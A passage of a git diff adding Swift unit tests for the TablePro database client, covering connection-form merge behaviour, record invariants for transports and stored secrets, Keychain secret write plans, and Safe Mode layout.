connection.commitMode, + redisDatabase: connection.redisDatabase, + startupCommands: connection.startupCommands, + localOnly: connection.localOnly, + additionalFields: connection.additionalFields, + ownedAdditionalFieldIDs: ConnectionFormEdits.appManagedAdditionalFieldIDs.union([pluginKey]), + maskingRules: connection.maskingRules + ) + } + + @Test("The table covers every property the form writes") + func tableCoversEveryWrittenProperty() { + let stored = Set(Mirror(reflecting: Self.base()).children.compactMap(\.label)) + let written = stored.subtracting(Self.carriedOver).subtracting(["additionalFields"]) + #expect(Set(Self.properties.keys) == written) + } + + @Test("A property another writer changed, and the form did not, keeps the other writer's value") + func concurrentChangeIsKept() { + for (name, property) in Self.properties { + let base = Self.base() + var fresh = base + property.change(&fresh) + let result = Self.edits(base).applied(to: fresh, since: Self.edits(base)) + #expect(property.read(result) == property.read(fresh), "\(name)") + } + for (name, key) in Self.storedKeys { + let base = Self.base() + var fresh = base + key.change(&fresh) + let result = Self.edits(base).applied(to: fresh, since: Self.edits(base)) + #expect(key.read(result) == key.read(fresh), "\(name)") + } + } + + @Test("A property the form changed overwrites the stored one") + func draftChangeWins() { + for (name, property) in Self.properties { + let base = Self.base() + var edited = base + property.change(&edited) + let result = Self.edits(edited).applied(to: base, since: Self.edits(base)) + #expect(property.read(result) == property.read(edited), "\(name)") + } + for (name, key) in Self.storedKeys { + let base = Self.base() + var edited = base + key.change(&edited) + let result = Self.edits(edited).applied(to: base, since: Self.edits(base)) + #expect(key.read(result) == key.read(edited), "\(name)") + } + } + + @Test("A key the form cleared is removed") + func draftDeletionRemovesTheKey() { + for (name, key) in Self.storedKeys { + let base = Self.base() + var edited = base + key.remove(&edited) + let result = Self.edits(edited).applied(to: base, since: Self.edits(base)) + #expect(key.read(result) == key.read(edited), "\(name)") + } + } + + @Test("A key another writer removed, and the form did not touch, stays removed") + func concurrentDeletionIsNotResurrected() { + for (name, key) in Self.storedKeys { + let base = Self.base() + var fresh = base + key.remove(&fresh) + let result = Self.edits(base).applied(to: fresh, since: Self.edits(base)) + #expect(key.read(result) == key.read(fresh), "\(name)") + } + } + + @Test("A transport picked here replaces one another writer turned on, so one transport stays on") + func pickedTransportReplacesConcurrentOne() { + let base = Self.base() + var fresh = base + fresh.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion")) + var edited = base + edited.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy", port: 1_080, username: "")) + + let result = Self.edits(edited).applied(to: fresh, since: Self.edits(base)) + + #expect(result.sshTunnelMode == .disabled) + #expect(result.socksProxyMode == edited.socksProxyMode) + #expect(result.enabledTunnelKinds == [.socksProxy]) + } + + @Test("A transport another writer switched to stays, with its settings, when the form only edited the old one") + func concurrentTransportSwitchIsKept() { + var base = Self.base() + base.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy", port: 1_080, username: "")) + var fresh = base + fresh.socksProxyMode = .disabled + fresh.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion")) + var edited = base + edited.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy", port: 1_081, username: "")) + + let result = Self.edits(edited).applied(to: fresh, since: Self.edits(base)) + + #expect(result.sshTunnelMode == fresh.sshTunnelMode) + #expect(result.socksProxyMode == .disabled) + #expect(result.enabledTunnelKinds == [.ssh]) + } + + // An older build could store SSH and SOCKS together; the editor's load shows SSH alone. + private static func storedWithTwoTransports() -> (stored: DatabaseConnection, shown: DatabaseConnection) { + var stored = base() + let ssh = SSHConfiguration(enabled: true, host: "bastion") + stored.sshConfig = ssh + stored.sshTunnelMode = .inline(ssh) + stored.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy", port: 1_080, username: "")) + var shown = stored + shown.socksProxyMode = .disabled + return (stored, shown) + } + + @Test("A record stored with two transports keeps only the one the editor shows through an unrelated edit") + func twoStoredTransportsKeepTheShownOne() { + let (stored, shown) = Self.storedWithTwoTransports() + var edited = shown + edited.name = "Renamed" + + let result = Self.edits(edited).applied(to: stored, since: Self.edits(shown)) + + #expect(result.name == "Renamed") + #expect(result.sshTunnelMode == stored.sshTunnelMode) + #expect(result.socksProxyMode == .disabled) + #expect(result.enabledTunnelKinds == [.ssh]) + } + + @Test("An SSH edit on a record stored with two transports lands") + func sshEditOnTwoStoredTransportsLands() { + let (stored, shown) = Self.storedWithTwoTransports() + var edited = shown + let ssh = SSHConfiguration(enabled: true, host: "bastion-2") + edited.sshConfig = ssh + edited.sshTunnelMode = .inline(ssh) + + let result = Self.edits(edited).applied(to: stored, since: Self.edits(shown)) + + #expect(result.sshTunnelMode == edited.sshTunnelMode) + #expect(result.enabledTunnelKinds == [.ssh]) + } + + @Test("A switch another writer made on a record stored with two transports wins over an unrelated edit") + func concurrentSwitchFromTwoStoredTransportsWins() { + let (stored, shown) = Self.storedWithTwoTransports() + var fresh = stored + fresh.sshTunnelMode = .disabled + fresh.sshConfig.enabled = false + var edited = shown + edited.name = "Renamed" + + let result = Self.edits(edited).applied(to: fresh, since: Self.edits(shown)) + + #expect(result.name == "Renamed") + #expect(result.sshTunnelMode == .disabled) + #expect(result.socksProxyMode == stored.socksProxyMode) + #expect(result.enabledTunnelKinds == [.socksProxy]) + } + + @Test("Without a baseline the merge is the plain apply") + func noBaselineIsPlainApply() { + let base = Self.base() + var edited = base + edited.name = "Renamed" + #expect(Self.edits(edited).applied(to: base, since: nil) == Self.edits(edited).applied(to: base)) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionRecordInvariantsTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionRecordInvariantsTests.swift new file mode 100644 index 0000000000..5709a206c0 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionRecordInvariantsTests.swift @@ -0,0 +1,392 @@ +// +// ConnectionRecordInvariantsTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro + +// Each case builds the record Save's merge produces when another writer changed the stored one after the editor +// loaded it, checks the merge broke the rule, then that enforce restores it. record-invariants.md lists the rules. +@MainActor +struct ConnectionRecordInvariantsTests { + private static let probe = DatabaseType(rawValue: "InvariantProbe") + private static let otherProbe = DatabaseType(rawValue: "InvariantProbeOther") + + private func probeTraits( + _ type: DatabaseType = probe, + _ configure: (inout ConnectionTypeTraits) -> Void = { _ in } + ) -> ConnectionTypeTraits { + var traits = ConnectionTypeTraits(type: type) + traits.defaultPort = 5_000 + configure(&traits) + return traits + } + + private func stored(_ traits: ConnectionTypeTraits) -> DatabaseConnection { + DatabaseConnection(name: "Orders", host: "db.example.com", port: 5_000, username: "app", type: traits.type) + } + + private func merged( + stored: DatabaseConnection, + fresh: DatabaseConnection, + traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits? = nil, + context: EditorContext = EditorContext(), + edit: (inout ConnectionDraft) -> Void + ) -> DatabaseConnection { + let loadedTraits = originalTraits ?? traits + let baseline = ConnectionDraft.loaded(from: stored, secrets: .none, traits: loadedTraits) + var draft = baseline + edit(&draft) + let since = ConnectionEditorEngine.edits(baseline, loadedTraits, originalTraits: loadedTraits, context) + return ConnectionEditorEngine.edits(draft, traits, originalTraits: loadedTraits, context) + .applied(to: fresh, since: since) + } + + private func enforce( + _ record: DatabaseConnection, + _ traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits? = nil, + context: EditorContext = EditorContext(), + use: ConnectionRecordInvariants.Use = .save + ) -> ConnectionRecordInvariants.Outcome { + ConnectionRecordInvariants.enforce( + record, traits: traits, originalTraits: originalTraits ?? traits, context: context, use: use + ) + } + + private func sshTunnel(remoteFilePath: String = "") -> SSHConfiguration { + var config = SSHConfiguration(enabled: true, host: "bastion.example.com") + config.remoteFilePath = remoteFilePath + return config + } + + // MARK: - Secrets + + @Test("A plain-text secure value the stored record still holds leaves it and is handed back for the Keychain") + func plaintextSecureValueLeavesTheRecord() { + let traits = probeTraits { + $0.fields = [ConnectionField(id: "apiToken", label: "API Token", secure: true, section: .authentication)] + } + var record = stored(traits) + record.additionalFields["apiToken"] = "plain-old" + + let result = merged(stored: record, fresh: record, traits: traits) { $0.name = "Renamed" } + #expect(result.additionalFields["apiToken"] == "plain-old") + + let outcome = enforce(result, traits) + #expect(outcome.record.additionalFields["apiToken"] == nil) + #expect(outcome.plaintextSecrets == ["apiToken": "plain-old"]) + #expect(outcome.record.name == "Renamed") + } + + @Test("A plain-text secure value of the type the connection left leaves the retyped record") + func plaintextSecureValueOfTheOldTypeLeaves() { + let left = probeTraits { + $0.fields = [ConnectionField(id: "legacyKey", label: "Key", secure: true, section: .authentication)] + } + let target = probeTraits(Self.otherProbe) + let record = stored(left) + var fresh = record + fresh.additionalFields["legacyKey"] = "plain-elsewhere" + + let result = merged(stored: record, fresh: fresh, traits: target, originalTraits: left) { + $0.retype(to: target, from: left) + } + #expect(result.type == target.type) + #expect(result.additionalFields["legacyKey"] == "plain-elsewhere") + + let outcome = enforce(result, target, originalTraits: left) + #expect(outcome.record.additionalFields["legacyKey"] == nil) + #expect(outcome.plaintextSecrets == ["legacyKey": "plain-elsewhere"]) + } + + // MARK: - Retype + + @Test("A retyped record keeps no field only the type it left declares, even one set elsewhere after load") + func fieldOfTheOldTypeLeaves() { + let left = probeTraits { $0.fields = [ConnectionField(id: "region", label: "Region", section: .connection)] } + let target = probeTraits(Self.otherProbe) + let record = stored(left) + var fresh = record + fresh.additionalFields["region"] = "eu-west-1" + fresh.additionalFields["undeclaredOption"] = "kept" + + let result = merged(stored: record, fresh: fresh, traits: target, originalTraits: left) { + $0.retype(to: target, from: left) + } + #expect(result.additionalFields["region"] == "eu-west-1") + + let outcome = enforce(result, target, originalTraits: left) + #expect(outcome.record.additionalFields["region"] == nil) + #expect(outcome.record.additionalFields["undeclaredOption"] == "kept") + } + + // MARK: - Transports + + @Test("Of two switched-on transports only the first, the one the editor loads, stays") + func oneTransportStays() { + let traits = probeTraits() + var record = stored(traits) + record.sshConfig = sshTunnel() + record.sshTunnelMode = .inline(sshTunnel()) + record.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy.example.com", port: 1_080, username: "")) + #expect(record.switchedOnTransports == [.ssh, .socksProxy]) + + let outcome = enforce(record, traits) + #expect(outcome.record.switchedOnTransports == [.ssh]) + } + + @Test("A transport another writer turned on that this type cannot dial is turned off") + func transportTheTypeDoesNotOfferIsOff() { + let traits = probeTraits { $0.supportsCloudflareTunnel = false } + let record = stored(traits) + var fresh = record + fresh.cloudflareTunnelMode = .inline(CloudflareConfiguration( + accessHostname: "db.example.com", localPort: nil, authMethod: .browserSSO, exposeToLAN: false, binaryPath: "" + )) + + let result = merged(stored: record, fresh: fresh, traits: traits) { $0.name = "Renamed" } + #expect(result.switchedOnTransports == [.cloudflare]) + + let outcome = enforce(result, traits) + #expect(outcome.record.cloudflareTunnelMode == .disabled) + #expect(outcome.record.switchedOnTransports.isEmpty) + } + + @Test("A transport stays where the type's host field shows, and goes where its mode hides it") + func transportFollowsTheDialedEndpoint() { + let traits = probeTraits { + $0.connectionMode = .fileBased + $0.fields = [ + ConnectionField( + id: "mode", + label: "Mode", + defaultValue: "local", + fieldType: .dropdown(options: [.init(value: "local", label: "Local"), .init(value: "remote", label: "Remote")]), + section: .connection + ), + ConnectionField( + id: "remoteHost", + label: "Host", + section: .connection, + visibleWhen: FieldVisibilityRule(fieldId: "mode", values: ["remote"]) + ) + ] + $0.serverEndpointFields = ServerEndpointFields(hostFieldId: "remoteHost", portFieldId: "remotePort") + } + var record = stored(traits) + record.additionalFields["mode"] = "remote" + var fresh = record + fresh.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy.example.com", port: 1_080, username: "")) + #expect(enforce(fresh, traits).record.switchedOnTransports == [.socksProxy]) + + let result = merged(stored: record, fresh: fresh, traits: traits) { $0.setFieldValue("local", for: "mode") } + #expect(result.additionalFields["mode"] == "local") + #expect(result.switchedOnTransports == [.socksProxy]) + + let outcome = enforce(result, traits) + #expect(outcome.record.switchedOnTransports.isEmpty) + } + + @Test("The SSH profile id and configuration follow the tunnel mode") + func sshLinkFollowsTheTunnelMode() { + let traits = probeTraits() + let record = stored(traits) + var fresh = record + fresh.sshProfileId = UUID() + fresh.sshConfig = sshTunnel() + + let result = merged(stored: record, fresh: fresh, traits: traits) { $0.name = "Renamed" } + #expect(result.sshTunnelMode == .disabled) + #expect(result.sshProfileId != nil) + + let outcome = enforce(result, traits) + #expect(outcome.record.sshProfileId == nil) + #expect(!outcome.record.sshConfig.enabled) + + let profileId = UUID() + var linked = result + linked.sshTunnelMode = .profile(id: profileId, snapshot: sshTunnel()) + linked.sshProfileId = nil + let relinked = enforce(linked, traits).record + #expect(relinked.sshProfileId == profileId) + #expect(relinked.sshConfig == sshTunnel()) + } + + @Test("A socket path to forward to stays only with an SSH port forward") + func forwardSocketPathNeedsSSH() { + let traits = probeTraits() + let key = DatabaseConnection.sshForwardUnixSocketPathKey + var record = stored(traits) + record.sshConfig = sshTunnel() + record.sshTunnelMode = .inline(sshTunnel()) + record.additionalFields[key] = "/var/run/postgresql/.s.PGSQL.5432" + var fresh = record + fresh.sshTunnelMode = .disabled + fresh.sshConfig.enabled = false + fresh.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy.example.com", port: 1_080, username: "")) + + let result = merged(stored: record, fresh: fresh, traits: traits) { $0.name = "Renamed" } + #expect(result.switchedOnTransports == [.socksProxy]) + #expect(result.additionalFields[key] != nil) + + let outcome = enforce(result, traits) + #expect(outcome.record.additionalFields[key] == nil) + #expect(outcome.record.switchedOnTransports == [.socksProxy]) + #expect(enforce(record, traits).record.additionalFields[key] == record.additionalFields[key]) + } + + @Test("A local socket path goes once a transport is on, which a connect would use instead") + func localSocketPathGoesWithATransport() { + let traits = probeTraits { $0.defaultLocalSocketPath = "/tmp/mysql.sock" } + var record = stored(traits) + record.additionalFields[MySQLLocalSocket.fieldKey] = "/tmp/mysql.sock" + var fresh = record + fresh.sshConfig = sshTunnel() + fresh.sshTunnelMode = .inline(sshTunnel()) + + let result = merged(stored: record, fresh: fresh, traits: traits) { $0.name = "Renamed" } + #expect(result.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") + #expect(result.switchedOnTransports == [.ssh]) + + let outcome = enforce(result, traits) + #expect(outcome.record.additionalFields[MySQLLocalSocket.fieldKey] == nil) + #expect(outcome.record.switchedOnTransports == [.ssh]) + #expect(enforce(record, traits).record.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") + } + + @Test("A type that opens no remote file keeps no remote file path on its SSH tunnel") + func remoteFilePathNeedsRemoteFiles() { + let traits = probeTraits() + let record = stored(traits) + var fresh = record + fresh.sshConfig = sshTunnel(remoteFilePath: "/srv/app.db") + fresh.sshTunnelMode = .inline(sshTunnel(remoteFilePath: "/srv/app.db")) + + let result = merged(stored: record, fresh: fresh, traits: traits) { $0.name = "Renamed" } + #expect(result.resolvedSSHConfig.remoteFilePath == "/srv/app.db") + + let outcome = enforce(result, traits) + #expect(outcome.record.resolvedSSHConfig.remoteFilePath.isEmpty) + #expect(outcome.record.sshConfig.remoteFilePath.isEmpty) + #expect(outcome.record.switchedOnTransports == [.ssh]) + + var remoteFiles = traits + remoteFiles.supportsRemoteDatabaseFile = true + #expect(enforce(result, remoteFiles).record.resolvedSSHConfig.remoteFilePath == "/srv/app.db") + } + + // MARK: - Host list + + @Test("Host and Port are the first entry of the host list") + func hostAndPortFollowTheHostList() { + let traits = probeTraits { + $0.fields = [ConnectionField(id: "hosts", label: "Hosts", fieldType: .hostList, section: .connection)] + } + var record = stored(traits) + record.host = "a.example.com" + record.additionalFields["hosts"] = "a.example.com:5000" + var fresh = record + fresh.host = "b.example.com" + + let result = merged(stored: record, fresh: fresh, traits: traits) { + $0.setFieldValue("a.example.com:5000,c.example.com:5001", for: "hosts") + } + #expect(result.host == "b.example.com") + + let outcome = enforce(result, traits) + #expect(outcome.record.host == "a.example.com") + #expect(outcome.record.port == 5_000) + } + + // MARK: - Sign-in + + @Test("A connection linked to a credential profile carries that profile's username") + func linkedProfileOwnsTheUsername() { + let traits = probeTraits() + let profile = CredentialProfile(name: "Shared", username: "app") + var context = EditorContext() + context.credentialProfiles = [profile] + let record = stored(traits) + var fresh = record + fresh.username = "renamed-elsewhere" + + let result = merged(stored: record, fresh: fresh, traits: traits, context: context) { + $0.setCredentialMode(.profile(id: profile.id)) + } + #expect(result.credentialMode == .profile(id: profile.id)) + #expect(result.username == "renamed-elsewhere") + + #expect(enforce(result, traits, context: context).record.username == "app") + } + + @Test("Ask Every Time stays only where the form shows a password") + func promptNeedsAShownPassword() { + let traits = probeTraits { + $0.fields = [ConnectionField( + id: "useAgent", + label: "Use Agent", + defaultValue: "false", + fieldType: .toggle, + section: .authentication, + hidesPassword: true + )] + } + let record = stored(traits) + var fresh = record + fresh.promptForPassword = true + + let result = merged(stored: record, fresh: fresh, traits: traits) { $0.setFieldValue("true", for: "useAgent") } + #expect(result.promptForPassword) + #expect(result.additionalFields["useAgent"] == "true") + + let outcome = enforce(result, traits) + #expect(!outcome.record.promptForPassword) + #expect(outcome.record.additionalFields["useAgent"] == "true") + #expect(enforce(fresh, traits).record.promptForPassword) + } + + @Test("Test drops a password source a prompt or a profile would never run; Save keeps it") + func testRecordDropsAnUnusedPasswordSource() { + let traits = probeTraits() + var record = stored(traits) + record.passwordSource = .env(variable: "DB_PASSWORD") + + let result = merged(stored: record, fresh: record, traits: traits) { $0.setPasswordPrompt(true, traits: traits) } + #expect(result.promptForPassword) + #expect(result.passwordSource != nil) + + #expect(enforce(result, traits, use: .test).record.passwordSource == nil) + #expect(enforce(result, traits).record.passwordSource == record.passwordSource) + #expect(enforce(record, traits, use: .test).record.passwordSource == record.passwordSource) + } + + // MARK: - No-op + + @Test("A record that keeps every rule comes back unchanged") + func cleanRecordIsUnchanged() { + let traits = probeTraits { + $0.fields = [ + ConnectionField(id: "apiToken", label: "API Token", secure: true, section: .authentication), + ConnectionField(id: "region", label: "Region", section: .connection) + ] + } + var record = stored(traits) + record.sshConfig = sshTunnel() + record.sshTunnelMode = .inline(sshTunnel()) + record.additionalFields["region"] = "eu-west-1" + record.additionalFields[DatabaseConnection.sshForwardUnixSocketPathKey] = "/tmp/.s.PGSQL.5432" + record.promptForPassword = true + record.passwordSource = .env(variable: "DB_PASSWORD") + + let outcome = enforce(record, traits) + #expect(outcome.record == record) + #expect(outcome.plaintextSecrets.isEmpty) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift new file mode 100644 index 0000000000..97b39ea7a0 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift @@ -0,0 +1,159 @@ +// +// SecretWritePlanTests.swift +// TableProTests +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro + +@MainActor +struct SecretWritePlanTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func plan(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext = EditorContext()) + -> SecretWritePlan { + ConnectionEditorEngine.secretPlan(draft, traits, originalTraits: traits, context) + } + + @Test("Emptying a stored password deletes it once the record is on disk") + func clearedPasswordIsDeleted() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.credentials.storedPasswordState = .stored + draft.credentials.password = "" + let plan = plan(draft, mysql) + #expect(plan.deletesAfterRecord.contains(.password)) + #expect(plan.writes(of: .password) == nil) + } + + @Test("An empty field over a password that could not be read deletes nothing") + func unreadablePasswordIsKept() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.credentials.storedPasswordState = .unreadable + let plan = plan(draft, mysql) + #expect(!plan.deletesAfterRecord.contains(.password)) + #expect(!plan.stagedDeletes.contains(.password)) + } + + @Test("A typed password is written") + func typedPasswordIsWritten() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.credentials.password = "hunter2" + #expect(plan(draft, mysql).writes(of: .password) == "hunter2") + } + + @Test("A linked credential profile clears the connection's password and the profile's secure fields") + func linkedProfileClearsOwnSecrets() { + let mysql = traits(.mysql) + let profile = CredentialProfile(name: "Shared", secureFieldIds: ["awsSecretAccessKey"]) + var context = EditorContext() + context.credentialProfiles = [profile] + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.credentials.password = "hunter2" + draft.setCredentialMode(.profile(id: profile.id)) + let plan = plan(draft, mysql, context) + #expect(plan.deletesAfterRecord.contains(.password)) + #expect(plan.deletesAfterRecord.contains(.pluginField("awsSecretAccessKey"))) + #expect(plan.writes(of: .password) == nil) + } + + @Test("A linked profile's secure field typed on the connection is not stored as a copy of its own") + func profileOwnedFieldIsNotWrittenOnSave() { + let postgres = traits(.postgresql) + let profile = CredentialProfile(name: "Shared", secureFieldIds: ["awsSecretAccessKey"]) + var context = EditorContext() + context.credentialProfiles = [profile] + var baseline = ConnectionDraft.new(type: .postgresql, traits: postgres) + baseline.setCredentialMode(.profile(id: profile.id)) + var draft = baseline + draft.fieldValues["awsSecretAccessKey"] = "typed" + var merged = DatabaseConnection(name: "Orders", host: "db.example.com", port: 5_432, username: "app", type: .postgresql) + merged.credentialMode = .profile(id: profile.id) + let plan = ConnectionEditorEngine.secretPlan( + draft, postgres, originalTraits: postgres, context, since: baseline, mergedInto: merged + ) + #expect(plan.writes(of: .pluginField("awsSecretAccessKey")) == nil) + #expect(plan.deletesAfterRecord.contains(.pluginField("awsSecretAccessKey"))) + } + + @Test("An SSH profile this Mac cannot resolve keeps its link and deletes no SSH secret") + func unresolvedSSHProfileTouchesNothing() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.selectTransport(.ssh) + draft.ssh.profileId = UUID() + draft.ssh.profileSnapshot = SSHConfiguration(enabled: true, host: "bastion.example.com") + let plan = plan(draft, mysql) + let sshItems: [SecretWritePlan.Item] = [.sshPassword, .sshKeyPassphrase, .totpSecret] + for item in sshItems { + #expect(!plan.stagedDeletes.contains(item)) + #expect(!plan.deletesAfterRecord.contains(item)) + #expect(plan.writes(of: item) == nil) + } + let edits = ConnectionEditorEngine.edits(draft, mysql, originalTraits: mysql, EditorContext()) + guard case .profile(let id, let snapshot) = edits.sshTunnelMode else { + Issue.record("An unresolved profile was converted: \(edits.sshTunnelMode)") + return + } + #expect(id == draft.ssh.profileId) + #expect(snapshot.host == "bastion.example.com") + #expect(edits.sshProfileId == draft.ssh.profileId) + } + + @Test("A resolved SSH profile clears the connection's own SSH secrets") + func resolvedSSHProfileClearsInlineSecrets() { + let mysql = traits(.mysql) + let profile = SSHProfile(name: "Bastion", host: "bastion.example.com") + var context = EditorContext() + context.sshProfiles = [profile] + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.selectTransport(.ssh) + draft.selectSSHProfile(profile.id, profiles: [profile]) + let plan = plan(draft, mysql, context) + #expect(plan.stagedDeletes.contains(.sshPassword)) + #expect(plan.stagedDeletes.contains(.sshKeyPassphrase)) + } + + @Test("An SSL key passphrase is written only beside a client key, and cleared without one") + func sslKeyPassphraseNeedsAClientKey() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.ssl.clientKeyPassphrase = "key-secret" + let withoutKey = plan(draft, postgres) + #expect(withoutKey.writes(of: .sslClientKeyPassphrase) == nil) + #expect(withoutKey.stagedDeletes.contains(.sslClientKeyPassphrase)) + + draft.ssl.clientKeyPath = "/Users/alice/client.key" + #expect(plan(draft, postgres).writes(of: .sslClientKeyPassphrase) == "key-secret") + } + + @Test("A secure field outside Authentication is written like any other") + func secureFieldInAnySectionIsWritten() { + var traits = ConnectionTypeTraits(type: DatabaseType(rawValue: "Probe")) + traits.fields = [ConnectionField(id: "vaultToken", label: "Vault Token", secure: true, section: .advanced)] + var draft = ConnectionDraft.new(type: traits.type, traits: traits) + draft.setFieldValue("s3cret", for: "vaultToken") + #expect(plan(draft, traits).writes(of: .pluginField("vaultToken")) == "s3cret") + #expect(ConnectionEditorEngine.edits(draft, traits, originalTraits: nil, EditorContext()).additionalFields["vaultToken"] == nil) + } + + @Test("A retype clears the secure fields of the type the connection started as") + func retypeClearsOriginalSecureFields() { + let snowflake = traits(.snowflake) + let mysql = traits(.mysql) + let secureIds = snowflake.declaredSecureFieldIds.filter { mysql.field($0) == nil } + guard let fieldId = secureIds.first else { return } + let draft = ConnectionDraft.new(type: .mysql, traits: mysql) + let plan = ConnectionEditorEngine.secretPlan(draft, mysql, originalTraits: snowflake, EditorContext()) + #expect(plan.stagedDeletes.contains(.pluginField(fieldId))) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Facets/SafeModeFacetLayoutTests.swift b/apple/TableProTests/Views/ConnectionForm/Facets/SafeModeFacetLayoutTests.swift new file mode 100644 index 0000000000..40e1f40e5d --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Facets/SafeModeFacetLayoutTests.swift @@ -0,0 +1,66 @@ +// +// SafeModeFacetLayoutTests.swift +// TableProTests +// + +import AppKit +import Foundation +import SwiftUI +import Testing + +@testable import TablePro + +@MainActor +struct SafeModeFacetLayoutTests { + // The default window is 780 pt wide with a 220 pt sidebar. + private static let detailWidth: CGFloat = 560 + + private func storeWithEveryMaskingStyle() throws -> (ConnectionEditorStoreFixture, ConnectionEditorStore) { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + for style in MaskingStyle.allCases { + let id = store.addMaskingRule() + store.updateMaskingRule(MaskingRule(id: id, pattern: "customers.billing_email_address", target: .type, style: style)) + } + return (fixture, store) + } + + private func flush(_ window: NSWindow) { + for _ in 0..<3 { + RunLoop.main.run(until: Date()) + window.contentView?.layoutSubtreeIfNeeded() + window.displayIfNeeded() + } + } + + @Test("Masking rules never make the Safe Mode page wider than the detail column") + func maskingRulesFitTheDetailColumn() throws { + let (fixture, store) = try storeWithEveryMaskingStyle() + defer { withExtendedLifetime(fixture) {} } + let proposal = CGSize(width: Self.detailWidth, height: 700) + + let controller = NSHostingController(rootView: SafeModeFacetView(store: store)) + #expect(controller.sizeThatFits(in: proposal).width <= Self.detailWidth + 0.5) + + let window = NSWindow( + contentRect: NSRect(origin: .zero, size: proposal), + styleMask: [.titled], + backing: .buffered, + defer: false + ) + window.isReleasedWhenClosed = false + defer { window.orderOut(nil) } + controller.view.frame = NSRect(origin: .zero, size: proposal) + window.contentView?.addSubview(controller.view) + flush(window) + + var stack: [NSView] = [controller.view] + while let view = stack.popLast() { + stack.append(contentsOf: view.subviews) + guard let scrollView = view as? NSScrollView else { continue } + let frame = scrollView.convert(scrollView.bounds, to: nil) + #expect(frame.minX >= -0.5, "\(frame)") + #expect(frame.maxX <= Self.detailWidth + 0.5, "\(frame)") + } + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/NetworkPaneDatabaseFieldTests.swift b/apple/TableProTests/Views/ConnectionForm/NetworkPaneDatabaseFieldTests.swift deleted file mode 100644 index aa9976111b..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/NetworkPaneDatabaseFieldTests.swift +++ /dev/null @@ -1,104 +0,0 @@ -// -// NetworkPaneDatabaseFieldTests.swift -// TableProTests -// -// Whether the form renders a built-in Database field is one predicate, and the form must never -// require a value it does not render. Both used to be spelled out separately in four places. -// - -import Foundation -@testable import TablePro -import TableProPluginKit -import Testing - -@MainActor -struct NetworkPaneDatabaseFieldTests { - private func model(for type: DatabaseType) -> NetworkPaneViewModel { - let model = NetworkPaneViewModel() - model.type = type - return model - } - - /// Issue #2234: the field was gated on requiresAuthentication, which MongoDB declares false, - /// so a MongoDB connection could not name a database and had to load the whole list instead. - @Test( - "A network driver that takes a container name renders the field", - arguments: [ - DatabaseType.mongodb, - DatabaseType.cassandra, - DatabaseType(rawValue: "Trino"), - DatabaseType.mysql, - DatabaseType.postgresql, - ] - ) - func networkDriversRenderTheField(type: DatabaseType) { - #expect(model(for: type).showsBuiltInDatabaseField) - } - - /// Oracle and Dameng show a Schema field today while declaring supportsDatabaseSwitching - /// false, so that flag cannot be the gate either. - @Test( - "A network driver without runtime database switching keeps its field", - arguments: [DatabaseType.oracle, DatabaseType.dameng] - ) - func networkDriversWithoutSwitchingKeepTheField(type: DatabaseType) { - #expect(model(for: type).showsBuiltInDatabaseField) - } - - /// Redis numbers its databases through its own field, etcd has no container, and - /// Elasticsearch reports exactly one called `default` and never reads the value. - @Test( - "A driver that names its container elsewhere, or has none, opts out", - arguments: [DatabaseType.redis, DatabaseType.etcd, DatabaseType.elasticsearch] - ) - func optedOutDriversHideTheField(type: DatabaseType) { - #expect(!model(for: type).showsBuiltInDatabaseField) - } - - /// These are apiOnly and declare no database switching, so the field stays hidden. Gating - /// the whole form on hidesBuiltInDatabase alone would have started showing it here. - @Test( - "An apiOnly driver without database switching keeps the field hidden", - arguments: [DatabaseType.bigQuery, DatabaseType.dynamodb, DatabaseType.libsql] - ) - func apiOnlyDriversWithoutSwitchingHideTheField(type: DatabaseType) { - #expect(!model(for: type).showsBuiltInDatabaseField) - } - - // MARK: - Never require what is not rendered - - /// A new DuckDB connection could not be saved: validation demanded a database name while the - /// form rendered no field able to supply one, so Save and Test stayed disabled forever. - @Test("DuckDB neither renders nor requires the built-in database field") - func duckDBIsSaveable() { - let model = model(for: .duckdb) - #expect(!model.showsBuiltInDatabaseField) - #expect(!model.requiresDatabaseValue) - - model.name = "Analytics" - 